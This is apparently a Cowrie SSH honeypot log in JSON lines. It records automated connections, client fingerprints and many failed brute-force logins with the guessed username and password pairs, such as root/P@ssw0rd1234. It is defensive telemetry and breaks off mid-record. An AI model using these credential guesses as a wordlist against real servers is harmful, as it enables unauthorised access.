{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:31.555372Z","src_ip":"52.169.217.131","session":"df8900affa82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fabian","password":"test","message":"login attempt [fabian/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:31.853894Z","src_ip":"52.169.217.131","session":"df8900affa82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:32.922086Z","src_ip":"52.169.217.131","session":"df8900affa82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"d11a27dd29b9","protocol":"ssh","message":"New connection: 103.149.28.157:48710 (10.17.0.5:22) [session: d11a27dd29b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:39.240613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:39.244339Z","src_ip":"103.149.28.157","session":"d11a27dd29b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:39.497592Z","src_ip":"103.149.28.157","session":"d11a27dd29b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2132022z","message":"login attempt [root/2132022z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:40.523223Z","src_ip":"103.149.28.157","session":"d11a27dd29b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:41.779724Z","src_ip":"103.149.28.157","session":"d11a27dd29b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":50210,"dst_ip":"159.203.135.109","dst_port":22,"session":"677f9badbf9b","protocol":"ssh","message":"New connection: 46.19.67.181:50210 (159.203.135.109:22) [session: 677f9badbf9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:48.963315Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ad7e5e5d6f","protocol":"ssh","message":"New connection: 189.190.244.176:42902 (10.17.0.5:22) [session: 60ad7e5e5d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:50.147197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:50.151264Z","src_ip":"189.190.244.176","session":"60ad7e5e5d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:50.225132Z","src_ip":"189.190.244.176","session":"60ad7e5e5d6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1234","message":"login attempt [root/P@ssw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:50.555588Z","src_ip":"189.190.244.176","session":"60ad7e5e5d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:51.632297Z","src_ip":"189.190.244.176","session":"60ad7e5e5d6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":39796,"dst_ip":"10.17.0.5","dst_port":22,"session":"8713b19f6440","protocol":"ssh","message":"New connection: 147.45.211.215:39796 (10.17.0.5:22) [session: 8713b19f6440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:13.011679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:13.017579Z","src_ip":"147.45.211.215","session":"8713b19f6440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:13.190396Z","src_ip":"147.45.211.215","session":"8713b19f6440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katerina123","message":"login attempt [root/katerina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:13.711637Z","src_ip":"147.45.211.215","session":"8713b19f6440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.239.252.132","src_port":50168,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a4890955c5","protocol":"ssh","message":"New connection: 103.239.252.132:50168 (159.203.135.109:22) [session: d2a4890955c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:14.454743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:14.458681Z","src_ip":"103.239.252.132","session":"d2a4890955c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:14.706370Z","src_ip":"103.239.252.132","session":"d2a4890955c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:14.888751Z","src_ip":"147.45.211.215","session":"8713b19f6440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1234567890","message":"login attempt [root/a1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:15.718290Z","src_ip":"103.239.252.132","session":"d2a4890955c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:16.964828Z","src_ip":"103.239.252.132","session":"d2a4890955c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":43118,"dst_ip":"10.17.0.5","dst_port":22,"session":"837f39f3aa4f","protocol":"ssh","message":"New connection: 194.36.147.215:43118 (10.17.0.5:22) [session: 837f39f3aa4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:19.540112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:19.544066Z","src_ip":"194.36.147.215","session":"837f39f3aa4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:19.629258Z","src_ip":"194.36.147.215","session":"837f39f3aa4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skale","password":"skale123","message":"login attempt [skale/skale123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:19.885300Z","src_ip":"194.36.147.215","session":"837f39f3aa4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:20.973040Z","src_ip":"194.36.147.215","session":"837f39f3aa4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":57056,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b7445d83dd","protocol":"ssh","message":"New connection: 162.240.75.182:57056 (10.17.0.5:22) [session: c6b7445d83dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:30.198948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:30.202765Z","src_ip":"162.240.75.182","session":"c6b7445d83dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:30.287766Z","src_ip":"162.240.75.182","session":"c6b7445d83dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RWA#S3cur3$P@ss","message":"login attempt [root/RWA#S3cur3$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:30.536673Z","src_ip":"162.240.75.182","session":"c6b7445d83dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:32.481491Z","src_ip":"162.240.75.182","session":"c6b7445d83dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":43614,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81ca8ca082a","protocol":"ssh","message":"New connection: 192.169.244.109:43614 (159.203.135.109:22) [session: a81ca8ca082a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:34.799789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:34.802794Z","src_ip":"192.169.244.109","session":"a81ca8ca082a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:34.868571Z","src_ip":"192.169.244.109","session":"a81ca8ca082a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"riga_latvia","password":"riga123","message":"login attempt [riga_latvia/riga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:35.081192Z","src_ip":"192.169.244.109","session":"a81ca8ca082a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:36.149318Z","src_ip":"192.169.244.109","session":"a81ca8ca082a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":33678,"dst_ip":"159.203.135.109","dst_port":22,"session":"51bb8b333591","protocol":"ssh","message":"New connection: 45.61.187.220:33678 (159.203.135.109:22) [session: 51bb8b333591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:40.351569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:40.357809Z","src_ip":"45.61.187.220","session":"51bb8b333591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes2